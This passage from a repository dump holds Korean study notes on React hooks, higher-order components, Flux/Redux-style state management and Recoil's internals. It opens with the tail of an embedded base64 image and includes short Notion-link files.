9vgy69r30/S8ua+GRxZ1DW2vuPYz1RoqgyqAo7CB7nEfxU5n2Fct8nNXm2/LZrX9M2X52ncTTWorUUo6hlYWKkAgg7gg7ibLNzt1xVjOGdurpqir0/PnBzUGJocm/N5i5Lb3uP07+l5+h1lXw/wAP4TDsalHDojn8QGovuAeg9pbTp1uqi/VExGMN2pvxdmJiMYeXvY23sbe/Scd3v8XW+9+t52ki1MDSZszIpbqe/v3nE5mngpbkrm7nL7X0lhPIFtBtPUDmuNA885tsoy+3/u89cBvzWt8OXzdtxb57/rLyvh0cWdQwG1+nsekzRoKgsihR6fv3gboiICIiAiIgImIgZmIiBmImIGYmIgInD+NfGb4OotCgivWIDMzXKqDsAARcm3fTTeevBPjFsa7UKyKlZVzKVvlYAgEWJNiLjrr8p0fEu9vu42buxX0deNnbxIRxq5mVVZyhUOQAQpe1gdexBNr2BBM9/baWn+Ymt7eYa2IBtrrqy/Ud5ztKVEjLi6ZIUVFLHYBlub3tYX/0t9D2mPttLT/MTzfD5l11A0111IHzECVEjHGUhoaiA3ItmXcWuN9xcfWazj6dgysrAuULBlsrLmzA3I2KkEDX0gTYkCpxOktiai5CpYvnTKMuXQ631zjYH5XF8jiNKxZnVAM98zLtTLBm0J08pPoN7G4gTokJMfSJIzqCDYXZfNohutjt51HfUdxfYMXTOazr5LZ9RZb3+I7DYwJEzINHiVJjUGYDlmxJZbEFEfOuuq2qLr6zauMpHaop0v8AEu1s199suvtAkxI1HF030V1Ym9gCCTYlSR3FwRf0kiBmJiIGYmIgZiYiBmJiIGYiICImICIiAiIgIiICIiB898eeD62JqjE4azOVCvTJCk2vZlJ020se09eAvCFbC1WxOJsr5SqUwQ1gbXZiNL6WAHczv4nV8272u1nZv+RX0dHhCbh4z1WVior25qi2pAC5gdwSoCn0UWsdZCbgCm/+Y12RkJsuxWkt7W3tRX6n0Au4nK0Of/wO71VclqFQKxsQCXFerXI01ADVBbvax9dx4EpYtzGzMCGNl1+5F7dNMOn1Ppa6iBSP4fp5OWrFRkdL2BbKylBcncgE2kn/AAwZQgYgCq1W9gdXdnK+2Zz8rSyiBR0/D6KLcxrZQuy9EpoD9KKn5n5Zr+H0e+ao9iahsLADmc4N07V23/Kvre7iBTVeCBnqOahzVM2byj8S0VNvlh1+relvGE4S2VlcgAtTdLalWpvnCg7GmCFAFgbZu8vIgVDcFGcuKjKS2ayhQB5aS2HYWortr5ja2lo1Tw+BTyI5OUDIDYbU3pC5tvlcm9twOk6GYgVHDuEimeY1i+Zje3Us9m9HKucxG5Jta5vbxEBMzEQEREBETMDEREDMREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQERED/2Q==) 678 | 679 | useContext를 사용하면 상위 컴포넌트 어딘가에 선언된 의 값을 가져온다. useContext 내부에서 해당 콘텍스트가 존재하는 환경인지 , 초기화 되어 값을 내려주는지 확인하는 것이 좋다. 680 | 681 | ```ts 682 | function useMyContext() { 683 | const context = useContext(myContext) 684 | if(context === undefined){ 685 | throw new Error( 686 | 'Context Error!' 687 | ) 688 | } 689 | } 690 | ``` 691 | 692 | useContext를 함수형 컴포넌트에서 쓰면 컴포넌트의 재활용이 어려워진다는 점을 염두에 두자! 693 | 694 | useContext가 선언되어있으면 Provider와 강한 의존성을 갖게 된다. 695 | 696 | 이러한 상황을 막으려면, useContext를 사용하는 컴포넌트를 최대한 작게하거나, 재사용되지 않을 컴포넌트에만 사용해야 한다. 콘텍스트와 useContext는 상태 관리를 위한 리액트의 API가 아닌 상태를 주입하는 API이다. 697 | 698 | 일반적인 상태 관리 라이브러리는 다음을 만족한다.그러나 콘텍스트는 이 둘 중 아무것도 하지 못한다. 699 | 700 | - 어떤 상태를 기반으로 다른 상태를 만들어낸다. 701 | - 필요에 따라 상태 변화를 최적화한다. 702 | 703 | 상태가 변화하면 프로바이더 트리 전체가 리렌더링된다 . 물론 React.memo를 사용해 최적화할 수 있다. 704 | 705 | ### useReducer 706 | 707 | ![](https://miro.medium.com/v2/resize:fit:1358/1*_lF6YmjuUxxYyTdMqMVTDw.png) 708 | 709 | useState와 비슷하지만 좀 더 복잡한 상태값을 미리 정해둔 시나리오에 따라 관리할 수 있다. 반환값은 useState와 동일하게 길이가 2인 배열이다. 710 | 711 | setState의 내부 로직이 복잡해지면 복잡해질수록, 컴포넌트가 읽기 힘들어지고, 상태 관리에 어려움을 겪을 수 있다. (이전 상태를 참조하여서 무언가 복잡한 일을 해야 할 경우 등) 712 | 713 | ```ts 714 | setShoppingCart((prevShoppingCart) => { 715 | const updatedItems = [...prevShoppingCard.items]; 716 | 717 | const existingCartItemIndex = updatedItems.findIndex((cardItem) => cartItem.id === id) 718 | 719 | if(existingCardItem){ 720 | ...// 복잡한 721 | } 722 | else{ 723 | ...// 724 | } 725 | }) 726 | ``` 727 | 728 | 이를 위해 리액트의 또다른 상태 관리 훅인 useReducer를 쓸 수 있다. 729 | 730 | Reducer는 복잡한 값을 더 단순한 형태로 만드는 함수를 의미한다. 예를 들어 다음의 배열 [5,10,100]을 더 단순한 숫자(모두 더한 숫자) 115로 만드는 것이 reducer의 역할이다. 731 | 732 | 733 | 734 | 735 | 반환값 736 | 737 | ```ts 738 | const [state,dispatch] = useReducer(StateReducer); 739 | ``` 740 | 741 | - state : 현재 useReducer가 갖고 있는 값 742 | - dispatcher : state를 업데이트 하는 함수. setState와 달리 action을 넘겨준다. 이 action은 state을 변경한다. 743 | 744 | 인수로 넘어가는 값 745 | 746 | 747 | ```ts 748 | //리듀서 함수는 2개의 인수를 받는다. (상태와 액션) 749 | function StateReducer(state, action) { 750 | //업데이트 된 상태를 반환한다. 751 | return state 752 | } 753 | ``` 754 | 755 | - reducer : 기본 action을 정의하는 함수이다. 첫번째 인수로 넘겨야 한다. 756 | - initalState : 두번쨰 인수로 useReducer의 초기 값이다. 757 | - init: 초기값을 지연해서 생성할 때 사용하는 함수. 758 | 759 | [리듀서 예시](https://codesandbox.io/p/sandbox/usereducer-hook-example-0gkm1?file=%2Fsrc%2FApp.js) 760 | 761 | 이렇게 useReducer를 사용하면 state를 사용하는 로직과 이를 관리하는 로직의 분리가 가능하여 state를 관리하기 한결 쉬워진다. Preact의 useState는 useReducer로 구현되어 있다. 762 | 763 | ```ts 764 | export function useState(initalState) { 765 | currentHook = 1 766 | return useReducer(invokeOrReturn,initalState) 767 | } 768 | ``` 769 | 첫번쨰 인수는 값을 업데이틓하는 함수여야 값 그 자체여야 한다. 770 | 771 | ```ts 772 | function reducer(prevState,newState) { 773 | return typeof newState === 'function' ? newState(prevState) : newState 774 | } 775 | ``` 776 | 777 | 두번쨰 값은 별다른 처리가 없고, 세번째 인수는 두번째 값을 기준으로 게으른 초기화를 한다. 778 | 779 | ```ts 780 | function init(initArg: Initalizer) { 781 | return typeof initArg === 'function' ? initArg() : initArg 782 | } 783 | ``` 784 | 785 | 반대로 useReducer를 useState도 구현할 수도 있다. 결국 클로저를 사용해 값을 가둬서 관리하는 것은 useState나 useReducer나 동일하다. 786 | 787 | ### useImperativeHandle 788 | 789 | forwardRef는 useRef에서 반환하는 객체로, 리액트의 props인 ref를 넣어 HTMLElement에 접근하는 용도로 사용된다. 즉 상위 컴포넌트에서 접근하고 싶은 ref가 있지만 이를 직접 props로 넣어 사용할 수 없으면 어떻게 해야 할까? 790 | 791 | ![](https://dmitripavlutin.com/f35b49516bdf01e2347e66a5a86f24e5/forwardref.svg) 792 | 793 | fowardRef가 등장한 배경으로는 ref 전달 시 일관성을 제공하기 위해서이다. 794 | 795 | ```tsx 796 | const ChildComponent = forwardRef((props,ref) => { 797 | useEffect(() => { 798 | console.log(ref) 799 | },[ref]) 800 | 801 | return
    안녕
    802 | }) 803 | 804 | const ParentComponent = () => { 805 | const inputRef = useRef() 806 | 807 | return ( 808 | 809 | 810 | 811 | ) 812 | } 813 | ``` 814 | 815 | ref를받고자하는 컴포넌트를 forwardRef로 감싸고 두번쨰 인수로 ref를 전달받는다. 이제 부모에서 자식으로 ref를 넘겨주면 된다. useImperativeHandle 훅은 부모에서 넘겨받은 ref를 원하는 대로 수정할 수 있는 훅이다. 816 | 817 | React는 선언형 컴포넌트를 지향한다. 상태의 변화에 따라 사전에 정의한 결과를 보여주는 것을 선언형 컴포넌트라고 이해한다면, 명령형 함수는 이와 대척점에 있다고 할 수 있다. useImperativeHandle은 이름 그대로 명령형 함수를 사용할 수 있는 Hook을 의미한다. 따라서, React에서는 이런 명령형 훅은 자주 사용하는 것을 권장하지 않는다. 그럼에도 useImperativeHandle와 같은 Hook을 만들게 된 이유가 있다. props를 통해서 선언형 데이터만으로는 자식 컴포넌트의 동작을 구현하기 어려운 경우가 있기 때문이다. 여기서 어렵다고 표현한 이유는, 대부분의 경우 props와 useEffect 등을 통해서 불편하지만 의도한 동작을 만들 수는 있기 때문이다. 그러나 명령형 함수를 통해서 이런 구현이 훨씬 간단해질 수 있다. 818 | 819 | 820 | ### useLayoutEffect 821 | 822 | 이 훅은 useEffect와 훅의 형태나 사용 예제가 동일하다. 보통 브라우저 페인트 전 DOM 조작, 혹은 레이아웃 정보를 읽어야 할 때 사용한다.(아직 한번도 쓴 적이 없긴 하다..) 823 | 824 | ```tsx 825 | function App(){ 826 | const [count,setCount] = useState(0) 827 | 828 | useEffect(() => { 829 | console.log('useEffect' + count) 830 | },[count]) 831 | 832 | useLayoutEffect(() => { 833 | console.log('useLayoutEffect' + count) 834 | },[count]) 835 | 836 | function handleClick() { 837 | setCount((prev) => prev + 1) 838 | } 839 | 840 | return ( 841 | <> 842 |

    {count}

    843 | 844 | 845 | ) 846 | } 847 | ``` 848 | 849 | 이 훅에서 중요한 부분은 모든 DOM의 변경 후에 useLayoutEffect의 콜백이 동기적으로 실행된다는 점이다. 850 | 851 | ![](https://velog.velcdn.com/images%2Fsunhwa508%2Fpost%2Fe5c03190-e3f8-4ea0-9455-64948934faf5%2F1_unEeZQLWQrxR93Ao8wBDDg.png) 852 | 853 | - 리액트가 DOM을 업데이트 854 | - useLayoutEffect실행 855 | - 브라우저에 변경사항 반영 856 | - useEffect실행 857 | 858 | 브라우저의 변경 사항 전 실행 : useLayoutEffect훅 859 | 860 | ### 훅의 규칙 861 | 862 | 훅은 최상단에서만 호출해야 하고, 반복문, 조건문 등에서 훅을 호출할 수 없다. 사용자 정의 훅, 리액트 함수형 컴포넌트에서만 훅을 쓸 수 있다. 훅에 대한 정보는 리액트 어딘가의 index와 같은 key를 기준으로 구현되어 있다. 또한 순서에 큰 영향을 받는다. 863 | 864 | 리액트 훅은 파이버 객체의 링크드 리스트의 호출 순서에 따라 저장된다 각 훅이 파이버 객체 내에서 순서에 의존해 state나 effect의 결과에 대한 값을 저장하고 있기 때문이다. 865 | 866 | ```tsx 867 | function Component() { 868 | const [count,setCount] = useState(0) 869 | const [required,setRequired] = useState(false) 870 | 871 | useEffect(() => { 872 | 873 | },[count,required]) 874 | } 875 | ``` 876 | 877 | 이 컴포넌트는 다음과 같은 형태로 저장된다. 878 | 879 | ```json 880 | { 881 | memorizedState:0, 882 | baseState:0, 883 | queue:{..}, 884 | next:{ //setRequired훅 885 | memorizedState:false, 886 | next:{ 887 | //useEffect훅 888 | memorizedState : { 889 | 890 | } 891 | } 892 | } 893 | } 894 | ``` 895 | 896 | ### 고차 컴포넌트 897 | 898 | 사용자 인증 정보에 따라서 인증된 사용자에게는 개인화된 컴포넌트를, 그렇지 않은 사 ㅇ자에게는 별도로 정의된 공통 컴포넌트를 보여주는 로직이 있다고 가정하자. 이런 경우 고차 컴포넌트가 매우 유용할 수 있다. 899 | 900 | ```tsx 901 | interface LoginProps { 902 | loginRequired?: boolean 903 | } 904 | 905 | function withLoginComponent(Component: ComponentType) { 906 | return function(props: T & LoginProps) { 907 | const {loginRequired,...rest} = props 908 | 909 | if(loginRequired) { 910 | return <>로그인이 필요해요! 911 | } 912 | return 913 | } 914 | } 915 | 916 | 917 | //로그인 여부, 로그인이 안된 사용자는 다른 컴포넌트를 보는 것이 918 | //모두 고차 컴포넌트의 역할로 위임된다. 919 | 920 | const Component = withLoginComponent((props : {value:string})) => { 921 | return

    {props.value}

    922 | } 923 | 924 | export default function App() { 925 | const isLogin = useLogin() 926 | return 927 | } 928 | ``` 929 | 930 | 물론 이런 인증 단계는 서버와 같이 자바스크립트 이전 단계에서 처리하는 것이 좋다! (middleWare같은,,? 아니면 서버사이드에서.,.?) 고차 컴포넌트가 with으로 시작하는 것은 일종의 관습이다! 931 | 932 | 933 | -------------------------------------------------------------------------------- /[03장] 리액트 훅 깊게 살펴보기/희석.md: -------------------------------------------------------------------------------- 1 | ## 📄 [노션 링크 3.1.1 ~ 3.1.6](https://obvious-salute-bf1.notion.site/3-1-1-3-1-6-8663a8e308af41b79f90027991551942) 2 | ## 📄 [노션 링크 3.1.7 ~ 3.2](https://obvious-salute-bf1.notion.site/3-1-7-3-2-4-381a862767f445eb9892235df5a58695) -------------------------------------------------------------------------------- /[04장] 서버 사이드 렌더링/주하.md: -------------------------------------------------------------------------------- 1 | 🔗[4.1 ~ 4.2 링크](https://selective-scarer-9c2.notion.site/4-e8e81a0d8f6a476fab881d91b15e7764?pvs=4) 2 | -------------------------------------------------------------------------------- /[04장] 서버 사이드 렌더링/효리.md: -------------------------------------------------------------------------------- 1 | 🔗 [노션 링크](https://artistic-roadrunner-94f.notion.site/4-1e8eb51741d44f5fa025f9ae246635e1?pvs=4) 2 | 3 | (1) 4.1 ~ 4.2장 추가 4 | 5 | (2) 4.3장 추가 6 | -------------------------------------------------------------------------------- /[04장] 서버 사이드 렌더링/효중.md: -------------------------------------------------------------------------------- 1 | https://beaded-menu-418.notion.site/4-c161217159654eca853ab8873534d50b?pvs=4 2 | 3 | 4 | -------------------------------------------------------------------------------- /[05장] 리액트와 상태 관리 라이브러리/효리.md: -------------------------------------------------------------------------------- 1 | 🔗 [노션 링크](https://artistic-roadrunner-94f.notion.site/5-679dc9e5dbfa4b52828068cf1c474204?pvs=4) 2 | 3 | (1) 5.1 ~ 5.2.2 추가 4 | -------------------------------------------------------------------------------- /[05장] 리액트와 상태 관리 라이브러리/효중.md: -------------------------------------------------------------------------------- 1 | 애플리케이션 전체적으로 관리해야 할 상태가 있을 때, 이런 상태 변화가 일어남에 따라 즉각적으로 모든 요소들이 변경되어 애플리케이션이 찢어지는 현상을 어떻게 막을 수 있을까? 2 | 3 | 다른 웹 개발 환경과 마찬가지로, 리액트도 상태관리에 대한 필요성이 존재했다. 프레임워크를 지향하는 Angular와 다르게 리액트는 단순히 사용자 인터페이스를 만들기 위한 라이브러리일 뿐 , 그 이상의 기능은 제공하지 않고 있다. 따라서 상태를 관리하는 방법도 시간에 따라 많은 변화가 존재했다. 4 | 5 | ### Flux 패턴 6 | 7 | 리액트에서는 전역 상태관리를 어떻게 했을까? 리덕스가 나타나기 전까지 리액트 애플리케이션에서 이름을 널리 알린 상태 관리 라이브러리는 없었다. Flux가 나올 당시 웹 애플리케이션이 비대해지고 상태도 많아짐에 따라 어디서 어떤 일이 일어나서 이 상태가 변경되었는지 등을 추적하는 것이 매우 어려운 상황이었다. 8 | 9 | ![](https://blog.coderifleman.com/images/mvc-does-not-scale-use-flux-instead/flux_architecture.01.png) 10 | 11 | 위 그림처럼 Model은 View를 변경할 수 있고, View는 Model을 변경할 수 있다. 코드가 적고 간단한 애플리케이션은 이런 패턴이 괜찮지만, 변경 시나리오가 많아지고 애플리케이션이 거대해질수록 관리가 어려워진다. 양방향이 아닌 단방향의 데이터 흐름을 변경하는 것이 Flux 패턴의 시작이다. 12 | 13 | ![](https://blog.kakaocdn.net/dn/cxAE6m/btqJt03TWSO/2VlPelrdlncyUINFldlWZ0/img.png) 14 | 15 | - 액션 : 어떤 작업을 처리할 액션과 , 액션 발생 시 함께 포함시킬 데이터를 의미한다. 액션 타입과 데이터를 정의해 디스패쳐로 보낸다. 16 | - 디스패쳐 : 액션을 스토어로 보내는 역할을 한다. 액션이 정의한 타입과 데이터를 모두 스토어에 보낸다. 17 | - 스토어 : 실제 상태에 따른 값과 , 상태를 변경할 수 있는 메서드를 갖고 있다. 액션의 타입에 따라 어떻게 이를 변경할지 정의되어 있다. 18 | - 뷰 : 스토어에서 만들어진 데이터를 가져와 화면을 렌더링하는 역할을 한다. 뷰에서 액션을 호출한다. 19 | 20 | ```ts 21 | type StoreState = { 22 | count : number 23 | } 24 | 25 | type Action = { 26 | type:'add', 27 | payload:number 28 | } 29 | 30 | function reducer(prevState : StoreState, action: Action) { 31 | const { type : ActionType } = action; 32 | if(ActionType === 'add') { 33 | return { 34 | count : prevState.count + action.payload 35 | } 36 | } 37 | } 38 | 39 | export default function App() { 40 | const [state,dispatcher] = useReducer(reducer, { 41 | count:0 42 | }) 43 | 44 | const handleClick = () => { 45 | dispatcher({ 46 | type:'add', 47 | payload:1 48 | }) 49 | } 50 | 51 | return ( 52 |
    53 |

    {state.count}

    54 | 55 |
    56 | ) 57 | } 58 | ``` 59 | 60 | 이러한 흐름속에 리덕스가 등장한다. 리덕스는 최초에는 이 Flux 구조를 구현하기 위해 만들어진 라이브러리 중 하나이다. 리덕스는 하나의 상태 객체를 스토어에 넣어두고, 이 객체를 업데이트 하는 작업을 디스패치해 업데이트를 수행한다. 이 작업은 reducer함수로 발생시킬 수 있는데, 이 함수의 실행은 웹 애플리케이션 상태에 대해 완전히 새로운 복사본을 반환한 다음, 애플리케이션에 새로 만들어진 상태를 전파한다. 61 | 62 | 이런 리덕스의 등장은 props drilling 문제를 해결할 수 있었고 스토어에 바로 접근할 수 있게 되었다. (store.getState()) 63 | 64 | Props를 간편하게 넘겨주기 위해 16.3 버전에서 Context API 출시했으나 다만 아래와 같은 문제점이 있었다. 상위 컴포넌트가 렌더링 되면 shouldComponentUpdate가 항상 true를 반환하여 불필요한 렌더링이 일어난다. context를 인수로 받기 때문에 컴포넌트와 결합도가 높다. 65 | 렌더링을 막아주는 기능이 없다. 66 | 67 | ### 리액트 훅으로 시작하는 상태 관리 68 | 69 | 오랜 시간동안 리액트 애플리케이션의 상태 관리를 위해 리덕스에 의존했다. 그러나 현재는 새로운 Context API, useReducer, useState의 등장으로 컴포넌트에 결처셔 재사용하거나 컴포넌트 내부에 걸쳐서 상태를 관리할 수 있는 방법들이 점차 많이 등장하기 시작했고, 리덕스 외의 다른 라이브러를 선택하는 경우도 많아지고 있다. 70 | 71 | 가장 기본적으로 useState와 useReducer를 사용할 수 있다. 72 | 73 | ```ts 74 | function useCounter(initCount = 0) { 75 | const [counter,setCounter] = useState(initCount) 76 | 77 | function inc() { 78 | setCounter((prev) => prev + 1) 79 | } 80 | 81 | return { 82 | counter,inc 83 | } 84 | } 85 | ``` 86 | useState와 useReducer가 상태 관리의 모든 필요성과 문제를 해결해주진 않는다. useState나 useReducer를 기반으로 하는 커스텀 훅의 한계는 명확하다. 훅을 쓸 때마다 컴포넌트가 초기화되므로 컴포넌트에 따라 다른 상태를 가질 수 밖에 없다. 이렇게 useState나 useReducer를 기반으로 한 상태를 지역상태라고 한다. 지역상태는 컴포넌트 내에서만 유효하다는 한계가 있다. 87 | 88 | 함수 외부에서 어떤 상태를 참조하고 이를 통해 렌더링까지 자연스럽게 일어나려면 다음의 조건이 필요하다. 89 | - 컴포넌트 외부에 상태를 두고 여러 컴포넌트가 동시에 접근해 사용할 수 있다. 90 | - 이 외부에 있는 상태를 사용하는 컴포넌트는 상태의 변화를 알아내야 하고, 상태가 변경될 때마다 리렌더링이 일어나서 항상 최신 값을 바라봐야 한다. 이 상태 감지는 해당 상태를 참조하는 모든 컴포넌트에서 필요하다. 91 | - 상태가 객체인 경우, 객체에 내가 감지하고 있지 않은 값이 바뀌더라도 리렌더링이 발생해서는 안된다. 92 | 93 | 위 조건을 충족하는 store를 만들어보자! store의 변경이 있을 때마다 변경이 되었음을 알리는 콜백함수를 실행하고, 이 콜백함수를 등록하는 subscribe 함수가 필요하다. 94 | 95 | ```ts 96 | type Initalizer = T extends any ? T | ((prev:T) => T) : never 97 | 98 | type Store = { 99 | get: () => State, 100 | set: (action:Initalizer) => State, 101 | subscribe : (callback:() => void) => () => void 102 | } 103 | 104 | export const createStore = (initState:Initalizer) : Store = > { 105 | let state = typeof initState !== 'function' ? initState : initState() 106 | 107 | const callbacks = new Set<() => void>() 108 | 109 | const get = () => state 110 | 111 | const set = (newState : State ? ((prev:State) => State)) => { 112 | state = typeof newState === 'function' ? (newState as (prev:state) => State)(state) : newState 113 | 114 | callbacks.forEach((callback) => callback()) 115 | return state 116 | } 117 | // 'newState'의 타입이 함수인 경우, 이전 상태를 매개변수로 받아 새로운 상태를 반환하는 함수로 간주합니다. 118 | // 'newState'의 타입이 'State'인 경우, 바로 해당 상태를 새로운 상태로 설정합니다. 119 | 120 | const subscribe = (callback:() => void) => { 121 | //받은 함수를 콜백에 추가합니다. 122 | callbacks.add(callback) 123 | 124 | return () => callbacks.delete(callback) 125 | } 126 | } 127 | ``` 128 | 129 | 이제 createStore로 만들어진 store의 값을 참조하고 이 값의 변화에 따라 컴포넌트를 렌더링하는 커스텀 훅이 필요하다. 130 | 131 | ```ts 132 | export const useStore = (store:Store) => { 133 | const [state,setState] = useState(() => store.get()) 134 | useEffect(() => { 135 | const storeSubScribe = store.subscribe(() => { 136 | setState(store.get(())) 137 | }) 138 | 139 | return storeSubScribe 140 | },[store]) 141 | return [state,store.set] 142 | } 143 | ``` 144 | 145 | - 훅의 인수로 사용할 store를 받는다. 146 | - 이 스토어의 값을 초기값으로 갖는 useState를 만든다. 이제 이 useState가 컴포넌트의 렌더링을 유도한다. 147 | - useEffect로 store의 현재 값을 가져와 setState를 수행하는 함수를 store의 subscribe에 등록해 두었다. 148 | - createStore 내부에서 값이 바뀔 때마다 subscribe에 등록된 콜백을 실행하므로, store의 값이 바뀔 때마다 state가 바뀌는 것을 보장한다. 149 | - 클린업 함수로 unsubscribe를 등록해둔다. 150 | 151 | 152 | 그러나 앞서 useStore에서 객체 타입의 값인 경우 스토어의 객체 중 하나의 프로퍼티라도 바뀐다면 리렌더링이 다시 일어날 것이다. 153 | 154 | ```ts 155 | export const useStore = (store:Store,selector:(state:State) => State) => { 156 | const [state,setState] = useState(() => selector(store.get())) 157 | useEffect(() => { 158 | const storeSubScribe = store.subscribe(() => { 159 | setState(selector(store.get())) 160 | }) 161 | 162 | return storeSubScribe 163 | },[store,selector]) 164 | return [state,store.set] 165 | } 166 | ``` 167 | 두번째 인수로 selector의 함수를 받는다. useState는 값이 변경되지 않으면 렌더링을 수행하지 않으므로 store의 값이 변경되어도 selector(store.get())이 변경되지 않으면 렌더링을 수행하지 않는다. 168 | 169 | ```ts 170 | const store = createStore({ 171 | count:0, 172 | text:'hi' 173 | }) 174 | 175 | const counter = useStore(store,useCallback((state) => state.count),[]) 176 | ``` 177 | 위의 구조는 반드시 하나의 스토어만 갖게 된다. 만약 훅을 사용하는 서로 다른 스코프에서 여러 다른 데이터를 공유하고 싶으면 어떻게 해야 할까? 178 | 179 | ```ts 180 | const store1 = createStore({count : 0}) 181 | const store2 = createStore({count : 1}) 182 | ``` 183 | 184 | 그러나 이방법은 스토어가 필요할 때마다 반복적으로 스토어를 만들어야 한다. 이 문제를 해결하기 위해 Context를 쓸 수 있다. Context를 사용해 해당 스토어를 하위 컴포넌트에 주입하면 된다. 185 | 186 | ```ts 187 | export const CountStoreContext = createContext>( 188 | createStore ({ 189 | count: 0 , 190 | text: 'hello' 191 | }) 192 | ) 193 | 194 | export const CountStoreProvider = ({ 195 | initalState, 196 | children 197 | }: PropsWithChildren<{initalState: CountStore}>) => { 198 | const storeRef = useRef>() 199 | 200 | //스토어 생성한 적이 없는 경우 201 | if(!storeRef.current) { 202 | storeRef.current = createStore(initalState) 203 | } 204 | 205 | return ( 206 | 207 | {children} 208 | 209 | ) 210 | } 211 | ``` 212 | 213 | ### Recoil 214 | 215 | 216 | Recoil과 Jotai는 Context와 Provider, 훅을 기반으로 가능한 작은 상태를 효율적으로 관리하는 것에 초점을 맞추고 있다. 그리고 Zustand는 리덕스와 비슷하게 하나의 큰 스토어를 기반으로 상태를 관리하는 라이브러리이다. Recoil,Jotai와는 다르게 스토어의 상태가 변경되면 해당 상태를 구독하는 컴포넌트에 전파해 리렌더링을 알린다. 217 | 218 | Recoil 팀에서는 리액트 18에서 제공되는 동시성, 서버 컴포넌트 등이 지원되기 전까지 1.0.0을 릴리스하지 않을 것이라고 밝힌 적이 있다. 219 | Recoil에서 핵심적인 RecoilRoot,atom,useRecoilValue,useRecoilState에 대해 알아보자 220 | 221 | ![](https://velog.velcdn.com/images/hoooons/post/a6bef2d9-6381-4dd6-b28c-88f3c085058b/image.png) 222 | 223 | RecoilRoot은 Recoil을 사용하기 위해 애플리케이션의 최상단에 선언해야한다. 224 | 225 | ```ts 226 | //RecoilRoot 227 | function RecoilRoot(props:Props) : ReactNode { 228 | const { override, ...propsExceptOverride } = props 229 | const ancestorStoreRef = useStoreRef() 230 | 231 | if(override === false && ancestorStoreRef.current !== defaultStore) { 232 | return props.children 233 | } 234 | 235 | return 236 | } 237 | 238 | ``` 239 | 240 | useStoreRef로 ancestorStoreRef의 존재를 확인하는데, 이는 상태값을 저장하는 스토어를 의미한다. 그리고 이 useStoreRef은 useContext로 AppContext를 가리키는 것을 볼 수 있다. 241 | 242 | ```ts 243 | const AppContext = React.createContext({current: defaultStore}); 244 | const useStoreRef = (): StoreRef => useContext(AppContext); 245 | ``` 246 | 247 | 그리고 기본으로 넣어주는 defaultStore는 다음과 같은 구성으로 이루어져 있다. 248 | 249 | ```ts 250 | const defaultStore: Store = Object.freeze({ 251 | storeID: getNextStoreID(), 252 | getState: notInAContext, 253 | replaceState: notInAContext, 254 | getGraph: notInAContext, 255 | subscribeToTransactions: notInAContext, 256 | addTransactionMetadata: notInAContext, 257 | }); 258 | ``` 259 | 260 | 스토어의 ID를 가져오는 getNextStoreId와 스토어의 값을 가져오는 getState,값을 수정하는 replaceState 등으로 이루어져 있다. 먼저 replaceState을 알아보자! 261 | 262 | ```ts 263 | const replaceState = (replacer: TreeState => TreeState) => { 264 | startNextTreeIfNeeded(storeRef.current); 265 | // Use replacer to get the next state: 266 | const nextTree = nullthrows(storeStateRef.current.nextTree); 267 | let replaced; 268 | try { 269 | 270 | //replacer 실행을 시작한다. 271 | stateReplacerIsBeingExecuted = true; 272 | 273 | // 다음 트리를 replacer를 통해 대체한다. 274 | replaced = replacer(nextTree); 275 | } finally { 276 | //replacer의 실행이 끝났음을 나타낸다. 277 | stateReplacerIsBeingExecuted = false; 278 | } 279 | 280 | //변경사항이 없다면 아무런 변경이 없으므로, 함수를 종료한다. 281 | if (replaced === nextTree) { 282 | return; 283 | } 284 | 285 | //변경사항을 다음 트리에 저장하고 업데이트를 스케쥴링한다. 286 | storeStateRef.current.nextTree = replaced; 287 | if (reactMode().early) { 288 | //업데이트된 상태를 하위 컴포넌트로 전달한다. 289 | notifyComponents(storeRef.current, storeStateRef.current, replaced); 290 | } 291 | }; 292 | ``` 293 | 294 | 그럼 이 notifyComponents의 코드도 뜯어보자. 어떻게 되어 있길래 업데이트 된 상태를 하위 컴포넌트로 뿌릴 수 있는 걸까? 295 | 296 | ```ts 297 | //notifyComponents 298 | 299 | function notifyComponents( 300 | store: Store, 301 | storeState: StoreState, 302 | treeState: TreeState, 303 | ): void { 304 | 305 | //이 스토어를 사용하는 모든 하위 의존성들을 찾는다. 306 | const dependentNodes = getDownstreamNodes( 307 | store, 308 | treeState, 309 | treeState.dirtyAtoms, 310 | ); 311 | 312 | //하위 의존성들에 대해 콜백을 실행한다. 313 | for (const key of dependentNodes) { 314 | 315 | //컴포넌트의 구독 목록들을 가져온다. 316 | const comps = storeState.nodeToComponentSubscriptions.get(key); 317 | 318 | //구독중인 컴포넌트들에 대해 변경 사항이 있음을 알리는 콜백을 319 | //실행한다 320 | if (comps) { 321 | for (const [_subID, [_debugName, callback]] of comps) { 322 | callback(treeState); 323 | } 324 | } 325 | } 326 | } 327 | ``` 328 | 329 | 결국 RecoilRoot는 크게 3가지의 단계로 나뉜다. 330 | 331 | - RecoilRoot의 AppContext에는 Recoil의 상태값들이 담긴다. 332 | - 스토어의 상태값에 접근 할 수 있는 함수들로 상태의 읽기나 쓰기를 할 수 있다. 333 | - 값의 변경이 있을 때 구독중인 모든 하위 컴포넌트에 값의 변화를 알린다. 334 | 335 | atom은 상태를 나타내는 Recoil의 최소 단위이다. 336 | 337 | ```ts 338 | type State = { 339 | name: string, 340 | amount: number 341 | } 342 | 343 | const initalState : Array = [ 344 | { 345 | name:'KIM',amount:1 346 | } 347 | ] 348 | 349 | //atom의 선언 350 | const stateAtom = atom> ({ 351 | key:'statement', 352 | default:initalState 353 | }) 354 | ``` 355 | 356 | atom은 key를 필수로 갖고 이 key는 다른 atom과 구별되는 역할을 한다. default는 이 atom의 초기값을 의미한다. atom의 값을 컴포넌트에서 읽고 쓰려면 useRecoilValue,useRecoilState 두 훅을 쓰면 된다. 먼저 useRecoilValue부터 알아보자! 357 | 358 | useEffect를 통해 recoilValue가 변경될 때 forceUpdate를 호출해 렌더링을 강제로 일으킨다. forceUpdate는 말 그대로 렌더링을 강제로 일으키기 위한 함수이다. 359 | 360 | ```ts 361 | useEffect(() => { 362 | const store = storeRef.current; 363 | const storeState = store.getState(); 364 | 365 | //현재 recoilValue를 구독하는 함수 366 | const subscription = subscribeToRecoilValue( 367 | store, 368 | recoilValue, 369 | _state => { 370 | if (!gkx('recoil_suppress_rerender_in_callback')) { 371 | return forceUpdate([]); 372 | } 373 | 374 | const newLoadable = getLoadable(); 375 | //newLoadable와 prevLoadable가 다르면 리렌더링 376 | if (!prevLoadableRef.current?.is(newLoadable)) { 377 | forceUpdate(newLoadable); 378 | } 379 | 